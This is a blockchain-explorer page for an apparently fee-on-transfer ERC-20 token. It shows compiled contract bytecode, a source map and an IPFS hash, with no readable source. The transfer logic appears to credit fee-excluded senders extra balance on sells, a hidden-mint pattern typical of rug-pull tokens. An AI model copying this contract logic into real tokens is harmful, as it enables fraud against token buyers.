00d6020526040902054610bc59083610f16565b6001600160a01b0385166000908152600d60205260409020555b610c046064610a1260065460085411610bfa57600254610a0b565b6004548590610e4b565b90505b306000908152600d6020526040902054601254600160a81b900460ff16158015610c3e57506012546001600160a01b038581169116145b8015610c535750601254600160b01b900460ff165b8015610c60575060095481115b8015610c6d575060095483115b8015610c7c5750600754600854115b8015610ca157506001600160a01b0385166000908152600f602052604090205460ff16155b15610ccc57610cc3610cbe84610cb984600a54610f75565b610f75565b610f8a565b610ccc47611104565b505b8015610d4857306000908152600d6020526040902054610cee9082610f16565b306000818152600d6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d3f9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600d6020526040902054610d6b9083611142565b6001600160a01b0385166000908152600d6020526040902055610db0610d918383611142565b6001600160a01b0385166000908152600d602052604090205490610f16565b6001600160a01b038085166000818152600d602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dfa8585611142565b60405190815260200160405180910390a350505050565b60008184841115610e355760405162461bcd60e51b815260040161043091906111b2565b506000610e4284866114ac565b95945050505050565b600082600003610e5d57506000610377565b6000610e6983856113e4565b905082610e7685836114bf565b14610ecd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610430565b9392505050565b6000610ecd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611184565b600080610f238385611480565b905083811015610ecd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610430565b6000818311610f845782610ecd565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fd257610fd26114e1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561102b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104f91906114f7565b81600181518110611062576110626114e1565b6001600160a01b039283166020918202929092010152601154611088913091168461076e565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110c1908590600090869030904290600401611514565b600060405180830381600087803b1580156110db57600080fd5b505af11580156110ef573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561113e573d6000803e3d6000fd5b5050565b6000610ecd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e11565b600081836111a55760405162461bcd60e51b815260040161043091906111b2565b506000610e4284866114bf565b600060208083528351808285015260005b818110156111df578581018301518582016040015282016111c3565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461121557600080fd5b50565b6000806040838503121561122b57600080fd5b823561123681611200565b946020939093013593505050565b60008060006060848603121561125957600080fd5b833561126481611200565b9250602084013561127481611200565b929592945050506040919091013590565b60006020828403121561129757600080fd5b8135610ecd81611200565b600080604083850312156112b557600080fd5b82356112c081611200565b915060208301356112d081611200565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561132c578160001904821115611312576113126112db565b8085161561131f57918102915b93841c93908002906112f6565b509250929050565b60008261134357506001610377565b8161135057506000610377565b816001811461136657600281146113705761138c565b6001915050610377565b60ff841115611381576113816112db565b50506001821b610377565b5060208310610133831016604e8410600b84101617156113af575081810a610377565b6113b983836112f1565b80600019048211156113cd576113cd6112db565b029392505050565b6000610ecd60ff841683611334565b8082028115828204841417610377576103776112db565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561144557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561147057600080fd5b81518015158114610ecd57600080fd5b80820180821115610377576103776112db565b6000600182016114a5576114a56112db565b5060010190565b81810381811115610377576103776112db565b6000826114dc57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561150957600080fd5b8151610ecd81611200565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115645784516001600160a01b03168352938301939183019160010161153f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207daf1320c57d5401883a37a02cc6597a91d9d1a45ed44eb8696c9fbac711384064736f6c63430008130033

Deployed Bytecode Sourcemap

3953:7564:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5923:83;;;;;;;;;;-1:-1:-1;5993:5:0;;;;;;;;;;;;-1:-1:-1;;;5993:5:0;;;;5923:83;;;;;;;:::i;:::-;;;;;;;;7466:193;;;;;;;;;;-1:-1:-1;7466:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7466:193:0;1023:187:1;6785:100:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6785:100:0;1215:177:1;6327:446:0;;;;;;;;;;-1:-1:-1;6327:446:0;;;;;:::i;:::-;;:::i;6109:83::-;;;;;;;;;;-1:-1:-1;6109:83:0;;4164:1;2000:36:1;;1988:2;1973:18;6109:83:0;1858:184:1;4628:51:0;;;;;;;;;;;;;;;;6200:119;;;;;;;;;;-1:-1:-1;6200:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6293:18:0;6266:7;6293:18;;;:9;:18;;;;;;;6200:119;3798:148;;;;;;;;;;;;;:::i;:::-;;11340:174;;;;;;;;;;;;;:::i;3584:79::-;;;;;;;;;;-1:-1:-1;3622:7:0;3649:6;3584:79;;-1:-1:-1;;;;;3649:6:0;;;2445:51:1;;2433:2;2418:18;3584:79:0;2299:203:1;6014:87:0;;;;;;;;;;-1:-1:-1;6086:7:0;;;;;;;;;;;;-1:-1:-1;;;6086:7:0;;;;6014:87;;7667:199;;;;;;;;;;-1:-1:-1;7667:199:0;;;;;:::i;:::-;;:::i;4686:55::-;;;;;;;;;;;;;;;;10515:680;;;;;;;;;;;;;:::i;7270:184::-;;;;;;;;;;-1:-1:-1;7270:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7419:18:0;;;7387:7;7419:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7270:184;4566:55;;;;;;;;;;;;;;;;4748:50;;;;;;;;;;;;;;;;7466:193;7568:4;7590:39;2344:10;7613:7;7622:6;7590:8;:39::i;:::-;-1:-1:-1;7647:4:0;7466:193;;;;;:::o;6785:100::-;6838:7;4225:13;4164:1;4225:2;:13;:::i;:::-;4212:26;;:10;:26;:::i;:::-;6858:19;;6785:100;:::o;6327:446::-;6459:4;6476:36;6486:6;6494:9;6505:6;6476:9;:36::i;:::-;6523:220;6546:6;2344:10;6594:138;6650:6;6594:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6594:19:0;;;;;;:11;:19;;;;;;;;2344:10;6594:33;;;;;;;;;;:37;:138::i;:::-;6523:8;:220::i;:::-;-1:-1:-1;6761:4:0;6327:446;;;;;:::o;3798:148::-;3711:6;;-1:-1:-1;;;;;3711:6:0;2344:10;3711:22;3703:67;;;;-1:-1:-1;;;3703:67:0;;;;;;;:::i;:::-;;;;;;;;;3905:1:::1;3889:6:::0;;3868:40:::1;::::0;-1:-1:-1;;;;;3889:6:0;;::::1;::::0;3868:40:::1;::::0;3905:1;;3868:40:::1;3936:1;3919:19:::0;;-1:-1:-1;;;;;;3919:19:0::1;::::0;;3798:148::o;11340:174::-;3711:6;;-1:-1:-1;;;;;3711:6:0;2344:10;3711:22;3703:67;;;;-1:-1:-1;;;3703:67:0;;;;;;;:::i;:::-;4225:13:::1;4164:1;4225:2;:13;:::i;:::-;4212:26;::::0;:10:::1;:26;:::i;:::-;11394:14;:29:::0;4225:13:::1;4164:1;4225:2;:13;:::i;:::-;4212:26;::::0;:10:::1;:26;:::i;:::-;11434:9;:24:::0;11474:32:::1;4225:13;4164:1;4225:2;:13;:::i;:::-;4212:26;::::0;:10:::1;:26;:::i;:::-;11474:32;::::0;1361:25:1;;;1349:2;1334:18;11474:32:0::1;;;;;;;11340:174::o:0;7667:199::-;7772:4;7794:42;2344:10;7818:9;7829:6;7794:9;:42::i;10515:680::-;3711:6;;-1:-1:-1;;;;;3711:6:0;2344:10;3711:22;3703:67;;;;-1:-1:-1;;;3703:67:0;;;;;;;:::i;:::-;10577:15:::1;::::0;-1:-1:-1;;;10577:15:0;::::1;;;10576:16;10568:52;;;::::0;-1:-1:-1;;;10568:52:0;;5151:2:1;10568:52:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;10568:52:0::1;4949:347:1::0;10568:52:0::1;10663:14;::::0;10631:62:::1;::::0;10648:4:::1;::::0;-1:-1:-1;;;;;10663:14:0::1;4225:13;4164:1;4225:2;:13;:::i;:::-;4212:26;::::0;:10:::1;:26;:::i;10631:62::-;10704:14;::::0;-1:-1:-1;;;;;10704:14:0::1;:30;10742:21;10787:4;10807:24;10787:4:::0;-1:-1:-1;;;;;6293:18:0;6266:7;6293:18;;;:9;:18;;;;;;;6200:119;10807:24:::1;10846:1;10862::::0;10878:7:::1;3622::::0;3649:6;-1:-1:-1;;;;;3649:6:0;;3584:79;10878:7:::1;10704:222;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10704:222:0;;;-1:-1:-1;;;;;5660:15:1;;;10704:222:0::1;::::0;::::1;5642:34:1::0;5692:18;;;5685:34;;;;5735:18;;;5728:34;;;;5778:18;;;5771:34;5842:15;;;5821:19;;;5814:44;10900:15:0::1;5874:19:1::0;;;5867:35;5576:19;;10704:222:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10944:12:0::1;::::0;10974:14:::1;::::0;10937:72:::1;::::0;-1:-1:-1;;;10937:72:0;;-1:-1:-1;;;;;10974:14:0;;::::1;10937:72;::::0;::::1;6398:51:1::0;-1:-1:-1;;6465:18:1;;;6458:34;10944:12:0;::::1;::::0;-1:-1:-1;10937:28:0::1;::::0;6371:18:1;;10937:72:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11037:2:0::1;11020:14;:19:::0;;;11050:15:::1;:20:::0;;;;11081:12:::1;:16:::0;;;11108:13:::1;:17:::0;11136:11:::1;:18:::0;;-1:-1:-1;;;;11165:22:0;-1:-1:-1;;;11165:22:0;;;10515:680::o;6893:369::-;-1:-1:-1;;;;;7020:19:0;;7012:68;;;;-1:-1:-1;;;7012:68:0;;6987:2:1;7012:68:0;;;6969:21:1;7026:2;7006:18;;;6999:30;7065:34;7045:18;;;7038:62;-1:-1:-1;;;7116:18:1;;;7109:34;7160:19;;7012:68:0;6785:400:1;7012:68:0;-1:-1:-1;;;;;7099:21:0;;7091:68;;;;-1:-1:-1;;;7091:68:0;;7392:2:1;7091:68:0;;;7374:21:1;7431:2;7411:18;;;7404:30;7470:34;7450:18;;;7443:62;-1:-1:-1;;;7521:18:1;;;7514:32;7563:19;;7091:68:0;7190:398:1;7091:68:0;-1:-1:-1;;;;;7170:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7222:32;;1361:25:1;;;7222:32:0;;1334:18:1;7222:32:0;;;;;;;6893:369;;;:::o;8481:2026::-;-1:-1:-1;;;;;8603:18:0;;8595:68;;;;-1:-1:-1;;;8595:68:0;;7795:2:1;8595:68:0;;;7777:21:1;7834:2;7814:18;;;7807:30;7873:34;7853:18;;;7846:62;-1:-1:-1;;;7924:18:1;;;7917:35;7969:19;;8595:68:0;7593:401:1;8595:68:0;-1:-1:-1;;;;;8682:16:0;;8674:64;;;;-1:-1:-1;;;8674:64:0;;8201:2:1;8674:64:0;;;8183:21:1;8240:2;8220:18;;;8213:30;8279:34;8259:18;;;8252:62;-1:-1:-1;;;8330:18:1;;;8323:33;8373:19;;8674:64:0;7999:399:1;8674:64:0;8766:1;8757:6;:10;8749:64;;;;-1:-1:-1;;;8749:64:0;;8605:2:1;8749:64:0;;;8587:21:1;8644:2;8624:18;;;8617:30;8683:34;8663:18;;;8656:62;-1:-1:-1;;;8734:18:1;;;8727:39;8783:19;;8749:64:0;8403:405:1;8749:64:0;8824:17;3649:6;;-1:-1:-1;;;;;8860:15:0;;;3649:6;;8860:15;;;;:32;;-1:-1:-1;3622:7:0;3649:6;-1:-1:-1;;;;;8879:13:0;;;3649:6;;8879:13;;8860:32;8856:1280;;;8921:86;9003:3;8921:77;8948:18;;8933:12;;:33;8932:65;;8983:14;;8932:65;;;8969:12;;8932:65;8921:6;;:10;:77::i;:::-;:81;;:86::i;:::-;9034:12;;8909:98;;-1:-1:-1;;;;;;9026:20:0;;;9034:12;;9026:20;:53;;;;-1:-1:-1;9064:14:0;;-1:-1:-1;;;;;9050:29:0;;;9064:14;;9050:29;;9026:53;:81;;;;-1:-1:-1;;;;;;9084:23:0;;;;;;:19;:23;;;;;;;;9083:24;9026:81;9022:375;;;9146:14;;9136:6;:24;;9128:64;;;;-1:-1:-1;;;9128:64:0;;9015:2:1;9128:64:0;;;8997:21:1;9054:2;9034:18;;;9027:30;9093:29;9073:18;;;9066:57;9140:18;;9128:64:0;8813:351:1;9128:64:0;9245:9;;9235:6;9219:13;9229:2;-1:-1:-1;;;;;6293:18:0;6266:7;6293:18;;;:9;:18;;;;;;;6200:119;9219:13;:22;;;;:::i;:::-;:35;;9211:70;;;;-1:-1:-1;;;9211:70:0;;9501:2:1;9211:70:0;;;9483:21:1;9540:2;9520:18;;;9513:30;-1:-1:-1;;;9559:18:1;;;9552:52;9621:18;;9211:70:0;9299:346:1;9211:70:0;9320:3;9304:12;;:19;9300:82;;9348:12;:14;;;:12;:14;;;:::i;:::-;;;;;;9300:82;9421:12;;-1:-1:-1;;;;;9415:18:0;;;9421:12;;9415:18;:43;;;;-1:-1:-1;;;;;;9437:21:0;;9453:4;9437:21;;9415:43;9411:280;;;-1:-1:-1;;;;;9483:25:0;;;;;;:19;:25;;;;;;;;9479:80;;;-1:-1:-1;;;;;9530:15:0;;;;;;:9;:15;;;;;;:27;;9550:6;9530:19;:27::i;:::-;-1:-1:-1;;;;;9512:15:0;;;;;;:9;:15;;;;;:45;9479:80;9589:86;9671:3;9589:77;9616:16;;9601:12;;:31;9600:65;;9650:15;;9600:65;;;9635:13;;9589:6;;:10;:77::i;:86::-;9577:98;;9411:280;9756:4;9707:28;6293:18;;;:9;:18;;;;;;9782:8;;-1:-1:-1;;;9782:8:0;;;;9781:9;:31;;;;-1:-1:-1;9800:12:0;;-1:-1:-1;;;;;9794:18:0;;;9800:12;;9794:18;9781:31;:46;;;;-1:-1:-1;9816:11:0;;-1:-1:-1;;;9816:11:0;;;;9781:46;:89;;;;;9854:16;;9831:20;:39;9781:89;:118;;;;;9883:16;;9874:6;:25;9781:118;:155;;;;;9918:18;;9903:12;;:33;9781:155;:185;;;;-1:-1:-1;;;;;;9941:25:0;;;;;;:19;:25;;;;;;;;9940:26;9781:185;9777:348;;;9987:68;10004:50;10008:6;10016:37;10020:20;10042:10;;10016:3;:37::i;:::-;10004:3;:50::i;:::-;9987:16;:68::i;:::-;10074:35;10087:21;10074:12;:35::i;:::-;8894:1242;8856:1280;10152:13;;10148:172;;10227:4;10209:24;;;;:9;:24;;;;;;:39;;10238:9;10209:28;:39::i;:::-;10200:4;10182:24;;;;:9;:24;;;;;;;:66;;;;10268:40;;-1:-1:-1;;;;;10268:40:0;;;;;;;10298:9;1361:25:1;;1349:2;1334:18;;1215:177;10268:40:0;;;;;;;;10148:172;-1:-1:-1;;;;;10348:15:0;;;;;;:9;:15;;;;;;:27;;10368:6;10348:19;:27::i;:::-;-1:-1:-1;;;;;10330:15:0;;;;;;:9;:15;;;;;:45;10402:40;10420:21;:6;10431:9;10420:10;:21::i;:::-;-1:-1:-1;;;;;10402:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10386:13:0;;;;;;;:9;:13;;;;;:56;;;;10458:41;;;10477:21;:6;10488:9;10477:10;:21::i;:::-;10458:41;;1361:25:1;;;1349:2;1334:18;10458:41:0;;;;;;;8584:1923;8481:2026;;;:::o;1375:224::-;1495:7;1531:12;1523:6;;;;1515:29;;;;-1:-1:-1;;;1515:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1555:9:0;1567:5;1571:1;1567;:5;:::i;:::-;1555:17;1375:224;-1:-1:-1;;;;;1375:224:0:o;1607:246::-;1665:7;1689:1;1694;1689:6;1685:47;;-1:-1:-1;1719:1:0;1712:8;;1685:47;1742:9;1754:5;1758:1;1754;:5;:::i;:::-;1742:17;-1:-1:-1;1787:1:0;1778:5;1782:1;1742:17;1778:5;:::i;:::-;:10;1770:56;;;;-1:-1:-1;;;1770:56:0;;10347:2:1;1770:56:0;;;10329:21:1;10386:2;10366:18;;;10359:30;10425:34;10405:18;;;10398:62;-1:-1:-1;;;10476:18:1;;;10469:31;10517:19;;1770:56:0;10145:397:1;1770:56:0;1844:1;1607:246;-1:-1:-1;;;1607:246:0:o;1861:132::-;1919:7;1946:39;1950:1;1953;1946:39;;;;;;;;;;;;;;;;;:3;:39::i;1044:179::-;1102:7;;1134:5;1138:1;1134;:5;:::i;:::-;1122:17;;1163:1;1158;:6;;1150:46;;;;-1:-1:-1;;;1150:46:0;;10749:2:1;1150:46:0;;;10731:21:1;10788:2;10768:18;;;10761:30;10827:29;10807:18;;;10800:57;10874:18;;1150:46:0;10547:351:1;8366:107:0;8423:7;8455:1;8451;:5;8450:15;;8464:1;8450:15;;;-1:-1:-1;8460:1:0;8366:107;-1:-1:-1;8366:107:0:o;7878:480::-;5360:8;:15;;-1:-1:-1;;;;5360:15:0;-1:-1:-1;;;5360:15:0;;;7980:16:::1;::::0;;7994:1:::1;7980:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7980:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7980:16:0::1;7956:40;;8025:4;8007;8012:1;8007:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8007:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8051:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;8051:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;8007:7;;8051:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8041:4;8046:1;8041:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8041:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;8115:14:::1;::::0;8083:61:::1;::::0;8100:4:::1;::::0;8115:14:::1;8132:11:::0;8083:8:::1;:61::i;:::-;8155:14;::::0;:195:::1;::::0;-1:-1:-1;;;8155:195:0;;-1:-1:-1;;;;;8155:14:0;;::::1;::::0;:65:::1;::::0;:195:::1;::::0;8235:11;;8155:14:::1;::::0;8277:4;;8304::::1;::::0;8324:15:::1;::::0;8155:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5398:8:0;:16;;-1:-1:-1;;;;5398:16:0;;;-1:-1:-1;;;;7878:480:0:o;11240:92::-;11297:10;;:27;;-1:-1:-1;;;;;11297:10:0;;;;:27;;;;;11317:6;;11297:10;:27;:10;:27;11317:6;11297:10;:27;;;;;;;;;;;;;;;;;;;;;11240:92;:::o;1231:136::-;1289:7;1316:43;1320:1;1323;1316:43;;;;;;;;;;;;;;;;;:3;:43::i;2001:223::-;2121:7;2156:12;2149:5;2141:28;;;;-1:-1:-1;;;2141:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2180:9:0;2192:5;2196:1;2192;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5913:306::-;6001:6;6009;6017;6070:2;6058:9;6049:7;6045:23;6041:32;6038:52;;;6086:1;6083;6076:12;6038:52;6115:9;6109:16;6099:26;;6165:2;6154:9;6150:18;6144:25;6134:35;;6209:2;6198:9;6194:18;6188:25;6178:35;;5913:306;;;;;:::o;6503:277::-;6570:6;6623:2;6611:9;6602:7;6598:23;6594:32;6591:52;;;6639:1;6636;6629:12;6591:52;6671:9;6665:16;6724:5;6717:13;6710:21;6703:5;6700:32;6690:60;;6746:1;6743;6736:12;9169:125;9234:9;;;9255:10;;;9252:36;;;9268:18;;:::i;9650:135::-;9689:3;9710:17;;;9707:43;;9730:18;;:::i;:::-;-1:-1:-1;9777:1:1;9766:13;;9650:135::o;9790:128::-;9857:9;;;9878:11;;;9875:37;;;9892:18;;:::i;9923:217::-;9963:1;9989;9979:132;;10033:10;10028:3;10024:20;10021:1;10014:31;10068:4;10065:1;10058:15;10096:4;10093:1;10086:15;9979:132;-1:-1:-1;10125:9:1;;9923:217::o;11035:127::-;11096:10;11091:3;11087:20;11084:1;11077:31;11127:4;11124:1;11117:15;11151:4;11148:1;11141:15;11167:251;11237:6;11290:2;11278:9;11269:7;11265:23;11261:32;11258:52;;;11306:1;11303;11296:12;11258:52;11338:9;11332:16;11357:31;11382:5;11357:31;:::i;11423:980::-;11685:4;11733:3;11722:9;11718:19;11764:6;11753:9;11746:25;11790:2;11828:6;11823:2;11812:9;11808:18;11801:34;11871:3;11866:2;11855:9;11851:18;11844:31;11895:6;11930;11924:13;11961:6;11953;11946:22;11999:3;11988:9;11984:19;11977:26;;12038:2;12030:6;12026:15;12012:29;;12059:1;12069:195;12083:6;12080:1;12077:13;12069:195;;;12148:13;;-1:-1:-1;;;;;12144:39:1;12132:52;;12239:15;;;;12204:12;;;;12180:1;12098:9;12069:195;;;-1:-1:-1;;;;;;;12320:32:1;;;;12315:2;12300:18;;12293:60;-1:-1:-1;;;12384:3:1;12369:19;12362:35;12281:3;11423:980;-1:-1:-1;;;11423:980:1:o

Swarm Source

ipfs://7daf1320c57d5401883a37a02cc6597a91d9d1a45ed44eb8696c9fbac7113840
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.